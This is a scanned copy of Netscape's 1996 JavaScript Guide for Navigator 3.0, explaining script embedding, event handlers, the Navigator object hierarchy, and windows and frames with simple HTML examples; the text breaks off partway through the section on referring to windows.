Location via proxy:   [ UP ]  
[Report a bug]   [Manage cookies]                
0% found this document useful (0 votes)
1 views

The JavaScript Language

The document provides a comprehensive guide to JavaScript, detailing its integration with HTML and its use in web applications. It explains the language's object-based nature, its event-driven capabilities, and how to embed JavaScript within HTML documents using the SCRIPT tag. Additionally, it compares JavaScript with Java, highlighting their differences in typing, execution, and object models.

Uploaded by

Bskscribd
Copyright
© © All Rights Reserved
Available Formats
Download as PDF, TXT or read online on Scribd
0% found this document useful (0 votes)
1 views

The JavaScript Language

The document provides a comprehensive guide to JavaScript, detailing its integration with HTML and its use in web applications. It explains the language's object-based nature, its event-driven capabilities, and how to embed JavaScript within HTML documents using the SCRIPT tag. Additionally, it compares JavaScript with Java, highlighting their differences in typing, execution, and object models.

Uploaded by

Bskscribd
Copyright
© © All Rights Reserved
Available Formats
Download as PDF, TXT or read online on Scribd
You are on page 1/ 315

http://www.netscape.com...ook/javascript/toc.html http://www.netscape.com/eng/mozilla/3.0/handbook/javascript/toc.

html

The JavaScript Guide


Introduction
Navigator Scripting
Navigator Objects
Using Windows and Frames

What's New In Navigator 3.0

Language Concepts

Values, Names, Literals


Expressions, Operators
Object Model
Built-in Objects, Functions
Statements Overview

Reference

Objects
Methods, Functions
Properties
Event Handlers
Statements
Reserved Words
Color Values

Copyright © 1995-1996 Netscape Communications Corporation

1 of 1 30.08.96 15:38
Introduction http://www.netscape.com/eng/mozilla/3.0/handbook/javascript/introd.html

Ongoing JavaScript Development

Development of the JavaScript language and its documentation continues. Additional features are
planned; some current features could be modified if necessary.

Introduction
·
·
The JavaScript Language
JavaScript and Java

The JavaScript Language


JavaScript is a compact, object-based scripting language for developing client and server Internet
applications. Netscape Navigator 2.0 interprets JavaScript statements embedded directly in an
HTML page, and LiveWire enables you to create server-based applications similar to common
gateway interface (CGI) programs.

In a client application for Navigator, JavaScript statements embedded in an HTML page can
recognize and respond to user events such as mouse clicks, form input, and page navigation.

For example, you can write a JavaScript function to verify that users enter valid information into a
form requesting a telephone number or zip code. Without any network transmission, an HTML
page with embedded JavaScript can interpret the entered text and alert the user with a message
dialog if the input is invalid. Or you can use JavaScript to perform an action (such as play an
audio file, execute an applet, or communicate with a plug-in) in response to the user opening or
exiting a page.

JavaScript and Java


The JavaScript language resembles Java, but without Java's static typing and strong type
checking. JavaScript supports most of Java's expression syntax and basic control flow constructs.
In contrast to Java's compile-time system of classes built by declarations, JavaScript supports a
run-time system based on a small number of data types representing numeric, Boolean, and string
values. JavaScript has a simple instance-based object model that still provides significant
capabilities.

JavaScript also supports functions, again without any special declarative requirements. Functions
can be properties of objects, executing as loosely typed methods.

JavaScript complements Java by exposing useful properties of Java applets to script authors.
JavaScript statements can get and set exposed properties to query the state or alter the
performance of an applet or plug-in.

Java is an extension language designed, in particular, for fast execution and type safety. Type
safety is reflected by being unable to cast a Java int into an object reference or to get at private
memory by corrupting Java bytecodes.

Java programs consist exclusively of classes and their methods. Java's requirements for declaring
classes, writing methods, and ensuring type safety make programming more complex than

1 of 2 30.08.96 15:45
Introduction http://www.netscape.com/eng/mozilla/3.0/handbook/javascript/introd.html

JavaScript authoring. Java's inheritance and strong typing also tend to require tightly coupled
object hierarchies.

In contrast, JavaScript descends in spirit from a line of smaller, dynamically typed languages like
HyperTalk and dBASE. These scripting languages offer programming tools to a much wider
audience because of their easier syntax, specialized built-in functionality, and minimal
requirements for object creation.

The following table compares and contrasts JavaScript and Java.

JavaScript Java
Compiled on server before execution on
Interpreted (not compiled) by client.
client.
Object-based. Code uses built-in, extensible Object-oriented. Applets consist of object
objects, but no classes or inheritance. classes with inheritance.
Applets distinct from HTML (accessed from
Code integrated with, and embedded in, HTML.
HTML pages).
Variable data types must be declared (strong
Variable data types not declared (loose typing).
typing).
Dynamic binding. Object references checked at Static binding. Object references must exist at
run-time. compile-time.
Cannot automatically write to hard disk. Cannot automatically write to hard disk.

JavaScript Development
A script author is not required to extend, instantiate, or know about classes. Instead, the author
acquires finished components exposing high-level properties such as "visible" and "color", then
gets and sets the properties to cause desired effects.

As an example, suppose you want to design an HTML page that contains some catalog text, a
picture of a shirt available in several colors, a form for ordering the shirt, and a color selector tool
that's visually integrated with the form. You could write a Java applet that draws the whole page,
but you'd face complicated source encoding and forgo the simplicity of HTML page authoring.

A better route would use Java's strengths by implementing only the shirt viewer and color picker
as applets, and using HTML for the framework and order form. A script that runs when a color is
picked could set the shirt applet's color property to the picked color. With the availability of
general-purpose components like a color picker or image viewer, a page author would not be
required to learn or write Java. Components used by the script would be reusable by other scripts
on pages throughout the catalog.

2 of 2 30.08.96 15:45
Navigator Scripting wysiwyg://display.tocframe.6/http://www....illa/3.0/handbook/javascript/script.html

Navigator Scripting
·
·
Using JavaScript in HTML
Scripting Event Handlers
· Tips and Techniques

Using JavaScript in HTML


JavaScript can be embedded in an HTML document in two ways:

·
·
As statements and functions using the SCRIPT tag.
As event handlers using HTML tags.

The SCRIPT tag


A script embedded in HTML with the SCRIPT tag uses the format:

<SCRIPT>
JavaScript statements...
</SCRIPT>

The optional LANGUAGE attribute specifies the scripting language as follows:

<SCRIPT LANGUAGE="JavaScript">
JavaScript statements...
</SCRIPT>

The HMTL tag, <SCRIPT>, and its closing counterpart, </SCRIPT> can enclose any number of
JavaScript statements in a document.

JavaScript is case sensitive.

Example 1: a simple script.

<HTML>
<HEAD>
<SCRIPT LANGUAGE="JavaScript">
document.write("Hello net.")
</SCRIPT>
</HEAD>
<BODY>
That's all, folks.
</BODY>
</HTML>

Example 1 page display.

Hello net. That's all folks.

Code Hiding
Scripts can be placed inside comment fields to ensure that your JavaScript code is not displayed
by old browsers that do not recognize JavaScript. The entire script is encased by HTML comment

1 of 8 30.08.96 15:48
Navigator Scripting wysiwyg://display.tocframe.6/http://www....illa/3.0/handbook/javascript/script.html

tags:

<!-- Begin to hide script contents from old browsers.


// End the hiding here. -->

Defining and Calling Functions


Scripts placed within SCRIPT tags are evaluated after the page loads. Functions are stored, but
not executed. Functions are executed by events in the page.

It's important to understand the difference between defining a function and calling the function.
Defining the function simply names the function and specifies what to do when the function is
called. Calling the function actually performs the specified actions with the indicated parameters.

Example 2: a script with a function and comments.

<HEAD>
<SCRIPT LANGUAGE="JavaScript">
<!-- to hide script contents from old browsers
function square(i) {
document.write("The call passed ", i ," to the function.","&lt;BR&gt;")
return i * i
}
document.write("The function returned ",square(5),".")
// end hiding contents from old browsers -->
</SCRIPT>
</HEAD>
<BODY>
<BR>
All done.
</BODY>

Example 2 page display.

We passed 5 to the function.


The function returned 25.
All done.

The HEAD tag


Generally, you should define the functions for a page in the HEAD portion of a document. Since
the HEAD is loaded first, this practice guarantees that functions are loaded before the user has a
chance to do anything that might call a function.

Example 3: a script with two functions.

<HEAD>
<SCRIPT>
<!--- hide script from old browsers
function bar() {
document.write("<HR ALIGN='left' WIDTH=25%>")
}
function output(head, level, string) {
document.write("<H" + level + ">" + head + "</H" + level + "><P>" + string)
}
// end hiding from old browsers -->

2 of 8 30.08.96 15:48
Navigator Scripting wysiwyg://display.tocframe.6/http://www....illa/3.0/handbook/javascript/script.html

</SCRIPT>
</HEAD>

<BODY>
<SCRIPT>
<!--- hide script from old browsers
document.write(bar(),output("Make Me Big",3,"Make me ordinary."))
// end hiding from old browsers -->
</SCRIPT>
<P>
Thanks.
</BODY>

Example 3 r

Make Me Big

Make me ordinary.undefinedundefined

Thanks.

Quotes
Use single quotes (') to delimit string literals so that scripts can distinguish the literal from
attribute values enclosed in double quotes. In the previous example, function bar contains
the literal 'left' within a double-quoted attribute value. Here's another example:

<INPUT TYPE="button" VALUE="Press Me" onClick="myfunc('astring')">

Scripting Event Handlers


JavaScript applications in the Navigator are largely event-driven. Events are actions that
occur, usually as a result of something the user does. For example, a button click is an event,
as is giving focus to a form element. There is a specific set of events that Navigator
recognizes. You can define Event handlers, scripts that are automatically executed when an
event occurs.

Event handlers are embedded in documents as attributes of HTML tags to which you assign
JavaScript code to execute. The general syntax is

<TAG eventHandler="JavaScript Code">

where TAG is some HTML tag and eventHandler is the name of the event handler.

For example, suppose you have created a JavaScript function called compute. You can
cause Navigator to perform this function when the user clicks on a button by assigning the
function call to the button's onClick event handler:

<INPUT TYPE="button" VALUE="Calculate" onClick="compute(this.form)">

You can put any JavaScript statements inside the quotes following onClick. These
statements get executed when the user clicks on the button. If you want to include more

3 of 8 30.08.96 15:48
Navigator Scripting wysiwyg://display.tocframe.6/http://www....illa/3.0/handbook/javascript/script.html

than one statement, separate statements with a semicolon (;).

In general, it is a good idea to define functions for your event handlers because:

· it makes your code modular-you can use the same function as an event handler for
many different items.
· it makes your code easier to read.

Notice in this example the use of this.form to refer to the current form. The keyword this
refers to the current object-in the above example, the button object. The construct this.form
then refers to the form containing the button. In the above example, the onClick event
handler is a call to the compute() function, with this.form, the current form, as the
parameter to the function.

Events apply to HTML tags as follows:

·
·
Focus, Blur, Change events: text fields, textareas, and selections
Click events: buttons, radio buttons, checkboxes, submit buttons, reset buttons, links
·
·
Select events: text fields, textareas
MouseOver event: links

If an event applies to an HTML tag, then you can define an event handler for it. In general,
an event handler has the name of the event, preceded by "on." For example, the event
handler for the Focus event is onFocus.

Many objects also have methods that emulate events. For example, button has a click
method that emulates the button being clicked. Note: The event-emulation methods do not
trigger event-handlers. So, for example, the click method does not trigger an onClick
event-handler. However, you can always call an event-handler directly (for example, you
can call onClick explicitly in a script).

Event Occurs when... Event Handler


blur User removes input focus from form element onBlur
click User clicks on form element or link onClick
change User changes value of text, textarea, or select element onChange
focus User gives form element input focus onFocus
load User loads the page in the Navigator onLoad
mouseover User moves mouse pointer over a link or anchor onMouseOver
select User selects form element's input field onSelect
submit User submits a form onSubmit
unload User exits the page onUnload

Example 4: a script with a form and an event handler attribute.

<HEAD>
<SCRIPT LANGUAGE="JavaScript">
function compute(form) {
if (confirm("Are you sure?"))
form.result.value = eval(form.expr.value)

4 of 8 30.08.96 15:48
Navigator Scripting wysiwyg://display.tocframe.6/http://www....illa/3.0/handbook/javascript/script.html

else
alert("Please come back again.")
}
</SCRIPT>
</HEAD>

<BODY>
<FORM>
Enter an expression:
<INPUT TYPE="text" NAME="expr" SIZE=15 >
<INPUT TYPE="button" VALUE="Calculate" ONCLICK="compute(this.form)">
<BR>
Result:
<INPUT TYPE="text" NAME="result" SIZE=15 >
<BR>
</FORM>
</BODY>

Example 4 page display.

Enter an expression: Calculate


Result:

Example 5: a script with a form and event handler attribute within a BODY tag.

<HEAD>
<SCRIPT LANGUAGE="JavaScript">
<!--- hide script from old browsers
function checkNum(str, min, max) {
if (str == "") {
alert("Enter a number in the field, please.")
return false
}
for (var i = 0; i < str.length; i++) {
var ch = str.substring(i, i + 1)
if (ch < "0" || ch > "9") {
alert("Try a number, please.")
return false
}
}

var val = parseInt(str, 10)


if ((val < min) || (val > max)) {
alert("Try a number from 1 to 10.")
return false
}
return true
}

function thanks() {
alert("Thanks for your input.")
}
// end hiding from old browsers -->
</SCRIPT>
</HEAD>

<BODY>
<FORM NAME="ex5">

5 of 8 30.08.96 15:48
Navigator Scripting wysiwyg://display.tocframe.6/http://www....illa/3.0/handbook/javascript/script.html

Please enter a small number:


<INPUT NAME="num"
onChange="if (!checkNum(this.value, 1, 10))
{this.focus();this.select();} else {thanks()}">
</FORM>
</BODY>

Example 5 page display.

Enter a number in the field and then click your mouse anywhere OUTSIDE of the field.
Depending on what you enter, you will be prompted to enter another number, or thanked.

Please enter a small number:

Tips and Techniques


This section describes various useful scripting techniques.

Updating Pages
JavaScript in Navigator generates its results from the top of the page down. Once
something has been formatted, you can't change it without reloading the page. Currently,
you cannot update a particular part of a page without updating the entire page. However,
you can update a "sub-window" in a frame separately.

Printing
You cannot currently print output created with JavaScript. For example, if you had the
following in a page:

<P>This is some text.


<SCRIPT>document.write("<P>And some generated text")</SCRIPT>

And you printed it, you would get only "This is some text", even though you would see both
lines on-screen.

Using Quotes

Be sure to alternate double quotes with single quotes. Since event handlers in HTML must
be enclosed in quotes, you must use single quotes to delimit arguments. For example

<FORM NAME="myform">
<INPUT TYPE="button" NAME="Button1" VALUE="Open Sesame!"
onClick="window.open('stmtsov.html', 'newWin', 'toolbar=no,directories=no')">
</FORM>

Alternatively, you can escape quotes by preceding them by a backslash (\).

Defining Functions

It is always a good idea to define all of your functions in the HEAD of your HTML page.
This way, all functions will be defined before any content is displayed. Otherwise, the user

6 of 8 30.08.96 15:48
Navigator Scripting wysiwyg://display.tocframe.6/http://www....illa/3.0/handbook/javascript/script.html

might perform some action while the page is still loading that triggers an event handler and
calls an undefined function, leading to an error.

Creating Arrays

An array is an ordered set of values that you reference through an array name and an
index. For example, you could have an array called emp, that contains employees' names
indexed by their employee number. So emp[1] would be employee number one, emp[2]
employee number two, and so on.

JavaScript does not have an explicit array data type, but because of the intimate
relationship between arrays and object properties (see JavaScript Object Model), it is easy
to create arrays in JavaScript. You can define an array object type, as follows:

function MakeArray(n) {
this.length = n;
for (var i = 1; i <= n; i++) {
this[i] = 0 }
return this
}
}

This defines an array such that the first property, length, (with index of zero), represents
the number of elements in the array. The remaining properties have an integer index of one
or greater, and are initialized to zero.

You can then create an array by a call to new with the array name, specifying the number
of elements it has. For example:

emp = new MakeArray(20);

This creates an array called emp with 20 elements, and initializes the elements to zero.

Populating an Array

You can populate an array by simply assigning values to its elements. For example:

emp[1] = "Casey Jones"


emp[2] = "Phil Lesh"
emp[3] = "August West"

and so on.

You can also create arrays of objects. For example, suppose you define an object type
named Employees, as follows:

function Employee(empno, name, dept) {


this.empno = empno;
this.name = name;
this.dept = dept;
}

Then the following statements define an array of these objects:

emp = new MakeArray(3)


emp[1] = new Employee(1, "Casey Jones", "Engineering")

7 of 8 30.08.96 15:48
Navigator Scripting wysiwyg://display.tocframe.6/http://www....illa/3.0/handbook/javascript/script.html

emp[2] = new Employee(2, "Phil Lesh", "Music")


emp[3] = new Employee(3, "August West", "Admin")

Then you can easily display the objects in this array using the show_props function (defined
in the section on the JavaScript Object Model) as follows:

for (var n =1; n <= 3; n++) {


document.write(show_props(emp[n], "emp") + "
");
}

8 of 8 30.08.96 15:48
http://www.netscape.com.../javascript/navobj.html http://www.netscape.com/eng/mozilla/3.0/handbook/javascript/navobj.html

Navigator Objects
·
·
Using Navigator Objects
Navigator Object Hierarchy
·
·
JavaScript and HTML Layout
Key Navigator Objects

Using Navigator Objects


When you load a page in Navigator, it creates a number of objects corresponding to the page, its
contents, and other pertinent information.

Every page always has the following objects:

· window: the top-level object; contains properties that apply to the entire window. There is
also a window object for each for "child window" in a frames document.
·
·
location: contains properties on the current URL
history: contains properties representing URLs the user has previously visited
· document: contains properties for content in the current document, such as title, background
color, and forms

The properties of the document object are largely content-dependent. That is, they are created
based on the content that you put in the document. For example, the document object has a
property for each form and each anchor in the document.

For example, suppose you create a page named simple.html that contains the following HTML:

<TITLE>A Simple Document</TITLE>


<BODY><FORM NAME="myform" ACTION="FormProc()" METHOD="get" >Enter a value: <INPUT TYPE=text NAM
Check if you want:
<INPUT TYPE="checkbox" NAME="Check1" CHECKED onClick="update(this.form)"> Option #1
<P>
<INPUT TYPE="button" NAME="Button1" VALUE="Press Me" onClick="update(this.form)">
</FORM></BODY>

As always, there would be window, location, history, and document objects. These would have
properties such as:

·
·
location.href = "http://www.terrapin.com/samples/vsimple.html"
document.title = "A Simple Document"
·
·
document.fgColor = #000000
document.bgColor = #ffffff
· history.length = 7

These are just some example values. In practice, these values would be based on the document's
actual location, its title, foreground and background colors, and so on.

Navigator would also create the following objects based on the contents of the page:

·
·
document.myform
document.myform.Check1
· document.myform.Button1

1 of 4 30.08.96 15:55
http://www.netscape.com.../javascript/navobj.html http://www.netscape.com/eng/mozilla/3.0/handbook/javascript/navobj.html

These would have properties such as:

·
·
document.myform.action = http://terrapin/mocha/formproc()
document.myform.method = get
·
·
document.myform.length = 5
document.myform.Button1.value = Press Me
·
·
document.myform.Button1.name = Button1
document.myform.text1.value = blahblah
·
·
document.myform.text1.name = text1
document.myform.Check1.defaultChecked = true
·
·
document.myform.Check1.value = on
document.myform.Check1.name = Check1

Notice that each of the property references above starts with "document," followed by the name of
the form, "myform," and then the property name (for form properties) or the name of the form
element. This sequence follows the Navigator's object hierarchy, discussed in the next section.

Navigator Object Hierarchy


The objects in Navigator exist in a hierarchy that reflects the hierarchical structure of the HTML
page itself. Although you cannot derive object classes from these objects, as you can in languages
such as Java, it is useful to understand the Navigator's JavaScript object hierarchy. In the strict
object-oriented sense, this type of hierarchy is known as an instance hierarchy, since it concerns
specific instances of objects rather than object classes.

In this hierarchy, an object's "descendants" are properties of the object. For example, a form
named "form1" is an object, but is also a property of document, and is referred to as
"document.form1". The Navigator object hierarchy is illustrated below:

navigator

window
|
+--parent, frames, self, top
|
+--location
|
+--history
|
+--document
|
+--forms
| |
| elements (text fields, textarea, checkbox, password
| radio, select, button, submit, reset)
+--links
|
+--anchors

To refer to specific properties of these objects, you must specify the object name and all its
ancestors. Exception: You are not required to include the window object.

JavaScript and HTML Layout

2 of 4 30.08.96 15:55
http://www.netscape.com.../javascript/navobj.html http://www.netscape.com/eng/mozilla/3.0/handbook/javascript/navobj.html

To use JavaScript properly in the Navigator, it is important to have a basic understanding of how
the Navigator performs layout. Layout refers to transforming the plain text directives of HTML
into graphical display on your computer. Generally speaking, layout happens sequentially in the
Navigator. That is, the Navigator starts from the top of the HTML file and works its way down,
figuring out how to display output to the screen as it goes. So, it starts with the HEAD of an
HTML document, then starts at the top of the BODY and works its way down.

Because of this "top-down" behavior, JavaScript only reflects HTML that it has encountered. For
example, suppose you define a form with a couple of text input elments:

<FORM NAME="statform">
<input type = "text" name = "username" size = 20>
<input type = "text" name = "userage" size = 3>

Then these form elements are reflected as JavaScript objects document.statform.username and
document.statform.userage, that you can use anywhere after the form is defined. However, you
could not use these objects before the form is defined. So, for example, you could display the
value of these objects in a script after the form definition:

<SCRIPT>
document.write(document.statform.username.value)
document.write(document.statform.userage.value)
</SCRIPT>

However, if you tried to do this before the form definition (i.e. above it in the HTML page), you
would get an error, since the objects don't exist yet in the Navigator.

Likewise, once layout has occured, setting a property value does not affect its value or its
appearance. For example, suppose you have a document title defined as follows"

<TITLE>My JavaScript Page</TITLE>

This is reflected in JavaScript as the value of document.title. Once the Navigator has displayed
this in layout (in this case, in the title bar of the Navigator window), you cannot change the value
in JavaScript. So, if later in the page, you have the following script:

document.title = "The New Improved JavaScript Page"

it will not change the value of document.title nor affect the appearance of the page, nor will is
generate an error.

Key Navigator Objects


Some of the most useful Navigator objects include document, form, and window.

Using the document Object


One of the most useful Navigator objects is the document object, because its write and writeln
methods can generate HTML. These methods are the way that you display JavaScript expressions
to the user. The only difference between write and writeln is that writeln adds a carriage return at
the end of the line. However, since HTML ignores carriage returns, this will only affect
preformatted text, such as that inside a PRE tag.

The document object also has onLoad and onUnload event-handlers to perform functions when a

3 of 4 30.08.96 15:55
http://www.netscape.com.../javascript/navobj.html http://www.netscape.com/eng/mozilla/3.0/handbook/javascript/navobj.html

user first loads a page and when a user exits a page.

There is only one document object for a page, and it is the ancestor for all the form, link, and
anchor objects in the page.

Using the form Object


Navigator creates a form object for each form in a document. You can name a form with the
NAME attribute, as in this example:

<FORM NAME="myform">
<INPUT TYPE="text" NAME="quantity" onChange="...">
...
</FORM>

There would be a JavaScript object named myform based on this form. The form would have a
property corresponding to the text object, that you would refer to as

document.myform.quantity

You would refer to the value property of this object as

document.myform.quantity.value

The forms in a document are stored in an array called forms. The first (topmost in the page) form
is forms[0], the second forms[1], and so on. So the above references could also be:

document.forms[0].quantity
document.forms[0].quantity.value

Likewise, the elements in a form, such as text fields, radio buttons, and so on, are stored in an
elements array.

Using the window Object


The window object is the "parent" object for all other objects in Navigator. You can always omit
the object name in references to window properties and methods.

Window has several very useful methods that create new windows and pop-up dialog boxes:

·
·
open and close: Opens and closes a browser window
alert: Pops up an alert dialog box
· confirm: Pops up a confirmation dialog box

The window object has properties for all the frames in a frameset. The frames are stored in the
frames array. The frames array contains an entry for each child frame in a window. For example,
if a window contains three child frames, these frames are reflected as window.frames[0],
window.frames[1], and window.frames[2].

The status property enables you to set the message in the status bar at the bottom of the client
window.

4 of 4 30.08.96 15:55
http://www.netscape.com...avascript/winframe.html http://www.netscape.com/eng/mozilla/3.0/handbook/javascript/winframe.html

Using windows and frames


JavaScript lets you create and open windows for presenting HTML text, form objects, and frames.
The window object is the top-level object in the JavaScript client hierarchy. Form elements and
all JavaScript code exists in documents that are loaded into windows. By understanding how
windows work, you can control and manipulate these windows.

·
·
Opening and closing windows
Using frames
·
·
Referring to windows and frames
Navigating among windows

Opening and closing windows


A window is created automatically when a user launches Navigator, and a user can open a
window by choosing New Web Browser from the Navigator's File menu. A user can close a
window by choosing either Close or Exit from the Navigator's File menu. You can also open and
close windows programmatically.

Opening a window
You can create a window with the open method. The following statement creates a window called
msgWindow that displays the contents of the file sesame.html :

msgWindow=window.open("sesame.html")

The following statement creates a window called homeWindow that displays the Netscape home
page:

homeWindow=window.open("http://www.netscape.com")

Windows can have two names. The following statement creates a window with two names. The
first name, "msgWindow", is used when referring to the window's properties, methods, and
containership; the second name, "displayWindow", is used when referring to the window as the
target of a form submit or hypertext link.

msgWindow=window.open("sesame.html","displayWindow")

When you create a window, a window name is not required. But if you want to refer to a window
from another window, the window must have a name. For more information on using window
names, see Referring to windows and frames.

When you open a window, you can specify attributes such as the window's height and width and
whether the window contains a toolbar, location field, or scrollbars. The following statement
creates a window without a toolbar but with scrollbars:

msgWindow=window.open
("sesame.html","displayWindow","toolbar=no,scrollbars=yes")

For details on these window attributes, see the open method.

1 of 8 30.08.96 16:08
http://www.netscape.com...avascript/winframe.html http://www.netscape.com/eng/mozilla/3.0/handbook/javascript/winframe.html

Closing a window
You can close a window programmatically with the close method. You cannot close a frame
without closing the entire parent window.

All of the following statements close the current window:

window.close()
self.close()
// Do not use the following statement in an event handler
close()

The following statement closes a window called msgWindow:

msgWindow.close()

Using frames
A frame is a special type of window that can display multiple, independently scrollable frames on
a single screen, each with its own distinct URL. Frames can point to different URLs and be
targeted by other URLs, all within the same window. A series of frames makes up a page.

The following diagram shows a window containing three frames:

This frame is This frame is


named listFrame named contentFrame
| |
| |
-------------v------------------------------v----------
| Music Club | Toshiko Akiyoshi |
| Artists | Interlude |
| | |
| Jazz | The Beatles |
| - T. Akiyoshi | Please Please Me |
| - J. Coltrane | |
| - M. Davis | Betty Carter |
| - D. Gordon | Ray Charles and Betty Carter |
| | |
| Soul | Jimmy Cliff |
| - B. Carter | The Harder They Come |
| - R. Charles | |
| ... | ... |
-------------------------------------------------------
| Alphabetical By category Musician Descriptions |
----------------^--------------------------------------
|
|
This frame is named
navigateFrame

Creating a frame
You create a frame by using the <FRAMESET> tag in an HTML document. The <FRAMESET>
tag is used in an HTML document whose sole purpose is to define the layout of frames that make
up a page.

Example 1. The following statement creates the frameset shown in the previous diagram.

2 of 8 30.08.96 16:08
http://www.netscape.com...avascript/winframe.html http://www.netscape.com/eng/mozilla/3.0/handbook/javascript/winframe.html

<FRAMESET ROWS="90%,10%">
<FRAMESET COLS="30%,70%">
<FRAME SRC=category.html NAME="listFrame">
<FRAME SRC=titles.html NAME="contentFrame">
</FRAMESET>
<FRAME SRC=navigate.html NAME="navigateFrame">
</FRAMESET>

The following diagram shows the hierarchy of the frames. All three frames have the same parent,
even though two of the frames are defined within a separate frameset. This is because a frame's
parent is its parent window, and a frame, not a frameset, defines a window.

top
|
+--listFrame (category.html)
|
+--contentFrame (titles.html)
|
+--navigateFrame (navigate.html)

You can refer to the previous frames using the frames array as follows. (For information on the
frames array, see the frame object.)

·
·
listFrame is top.frames[0]
contentFrame is top.frames[1]
· navigateFrame is top.frames[2]

Example 2. Alternatively, you could create a window like the previous one but in which the top
two frames have a separate parent from navigateFrame. The top-level frameset would be defined
as follows:

<FRAMESET ROWS="90%,10%">
<FRAME SRC=muskel3.html NAME="upperFrame">
<FRAME SRC=navigate.html NAME="navigateFrame">
</FRAMESET>

The file muskel3.html contains the skeleton for the upper frames and defines the following
frameset:

<FRAMESET COLS="30%,70%">
<FRAME SRC=category.html NAME="listFrame">
<FRAME SRC=titles.html NAME="contentFrame">
</FRAMESET>

The following diagram shows the hierarchy of the frames. upperFrame and navigateFrame share
a parent: the top window. listFrame and contentFrame share a parent: upperFrame.

top
|
| +--listFrame
| | (category.html)
+---upperFrame------|
| (muskel3.html) |
| +--contentFrame
| (titles.html)
|
+---navigateFrame
(navigate.html)

You can refer to the previous frames using the frames array as follows. (For information on the

3 of 8 30.08.96 16:08
http://www.netscape.com...avascript/winframe.html http://www.netscape.com/eng/mozilla/3.0/handbook/javascript/winframe.html

frames array, see the frame object.)

·
·
upperFrame is top.frames[0]
navigateFrame is top.frames[1]
·
·
listFrame is upperFrame.frames[0] or top.frames[0].frames[0]
contentFrame is upperFrame.frames[1] or top.frames[0].frames[1]

Updating frames
You can update the contents of a frame by using the location property to set the URL, as long as
you specify the frame hierarchy.

For example, suppose you are using the frameset described in Example 2 in the previous section.
If you want users to be able to close the frame containing the alphabetic or categorical list of
artists (in the frame listframe) and view only the music titles sorted by musician (currently in the
frame contentFrame), you could add the following button to navigateFrame.

If you want users to be able to close the frame containing the alphabetic or categorical list of
artists (in the frame listframe) and view only the music titles sorted by musician (currently in the
frame contentFrame), you could add the following button to navigateFrame.

<INPUT TYPE="button" VALUE="Titles Only"


onClick="top.frames[0].location='artists.html'">

When a user clicks this button, the file artists.html is loaded into the frame upperFrame; the
frames listFrame and contentFrame close and no longer exist.

Referring to and navigating among frames


Because a frame is a type of window, you refer to frames and navigate among frames the same as
you do with a window. See Referring to windows and frames and Navigating among windows.

Frame example
If the frameset in the previous section is designed to present the available titles for a music club,
the frames and their HTML files could have the following content:

·
·
category.html , in the frame listFrame, contains a list of musicians sorted by category.
titles.html , in the frame contentFrame, contains an alphabetical list of each musician and
the titles available for that musician.
· navigate.html , in the frame navigateFrame, contains hypertext links that let the user
choose how the musicians are displayed in listFrame: in an alphabetical list or a categorical
list. This file also defines a hypertext link that lets the user display a description of each
musician.
· An additional file, alphabet.html , contains a list of musicians sorted alphabetically. This
file is displayed in listFrame when the user clicks the link for an alphabetical list.

The file category.html (the categorical list) contains code similar to the following:

<B>Music Club Artists</B>


<P><B>Jazz</B>
<LI><A HREF="titles.html#0001" TARGET="contentFrame">Toshiko Akiyoshi</A>
<LI><A HREF="titles.html#0006" TARGET="contentFrame">John Coltrane</A>
<LI><A HREF="titles.html#0007" TARGET="contentFrame">Miles Davis</A>

4 of 8 30.08.96 16:08
http://www.netscape.com...avascript/winframe.html http://www.netscape.com/eng/mozilla/3.0/handbook/javascript/winframe.html

<LI><A HREF="titles.html#0010" TARGET="contentFrame">Dexter Gordon</A>

<P><B>Soul</B>
<LI><A HREF="titles.html#0003" TARGET="contentFrame">Betty Carter</A>
<LI><A HREF="titles.html#0004" TARGET="contentFrame">Ray Charles</A>
...

The file alphabet.html (the alphabetical list) contains code similar to the following:

<B>Music Club Artists</B>


<LI><A HREF="titles.html#0001" TARGET="contentFrame">Toshiko Akiyoshi</A>
<LI><A HREF="titles.html#0002" TARGET="contentFrame">The Beatles</A>
<LI><A HREF="titles.html#0003" TARGET="contentFrame">Betty Carter</A>
<LI><A HREF="titles.html#0004" TARGET="contentFrame">Ray Charles</A>
...

The file navigate.html (the navigational links at the bottom of the screen) contains code similar
to the following. Notice that the target for artists.html is "_parent". When the user clicks this
link, the entire window is overwritten, because the top window is the parent of navigateFrame.

<A HREF="alphabet.html" TARGET="listFrame"><B>Alphabetical</B></A>


&nbsp&nbsp&nbsp
<A HREF="category.html" TARGET="listFrame"><B>By category</B></A>
&nbsp&nbsp&nbsp
<A HREF="artists.html" TARGET="_parent">
<B>Musician Descriptions</B></A>

The file titles.html (the main file, displayed in the frame on the right) contains code similar to
the following:

<!----------------------------------------------------------------->
<A NAME="0001"><H3>Toshiko Akiyoshi</H3></A>
<P>Interlude
<!----------------------------------------------------------------->
<A NAME="0002"><H3>The Beatles</H3></A>
<P>Please Please Me
<!----------------------------------------------------------------->
<A NAME="0003"><H3>Betty Carter</H3></A>
<P>Ray Charles and Betty Carter
...

For details on the syntax for creating a frame, see the frame object.

Referring to windows and frames


The name you use to refer to a window depends on whether you are referring to a window's
properties, methods, and event handlers or are referring to the window as the target of a form
submit or hypertext link.

Since the window object is the top-level object in the JavaScript client hierarchy, the window is
essential for specifying the containership of objects in any window.

Referring to a window's properties, methods, and event handlers


You can refer to the properties, methods, and event handlers of the current window or another
window (if the other window is named) in any of the following ways:

· self or window. self and window are synonyms for the current window, and you can

5 of 8 30.08.96 16:08
http://www.netscape.com...avascript/winframe.html http://www.netscape.com/eng/mozilla/3.0/handbook/javascript/winframe.html

optionally use them to refer to the current window. For example, you can close the current
window by calling either window.close() or self.close() .
· top or parent. top and parent are also synonyms that can be used in place of the window
name. top refers to the top-most Navigator window, and parent refers to a window
containing a frameset. For example, the statement
parent.frame2.document.bgColor="teal" changes the background color of the frame
named frame2 to teal; frame2 is a frame in the current frameset.
· The name of a window variable. The window variable is the variable that is specified when
a window is opened. For example, msgWindow.close() closes a window called
msgWindow. However, when you open or close a window within an event handler, you
must specify window.open() or window.close() instead of simply using open() or
close() . Due to the scoping of static objects in JavaScript, a call to close() without
specifying an object name is equivalent to document.close() .
· Omit the window name. Because the existence of the current window is assumed, you do
not have to reference the name of the window when you call its methods and assign its
properties. For example, close() closes the current window.

For more information on these methods of referring to windows, see the window object.

Example 1: refer to the current window. The following statement refers to a form named
musicForm in the current window. The statement displays an alert if a checkbox is checked.

if (self.document.musicForm.checkbox1.checked) {
alert('The checkbox on the musicForm is checked!')}

Example 2: refer to another window. The following statements refer to a form named
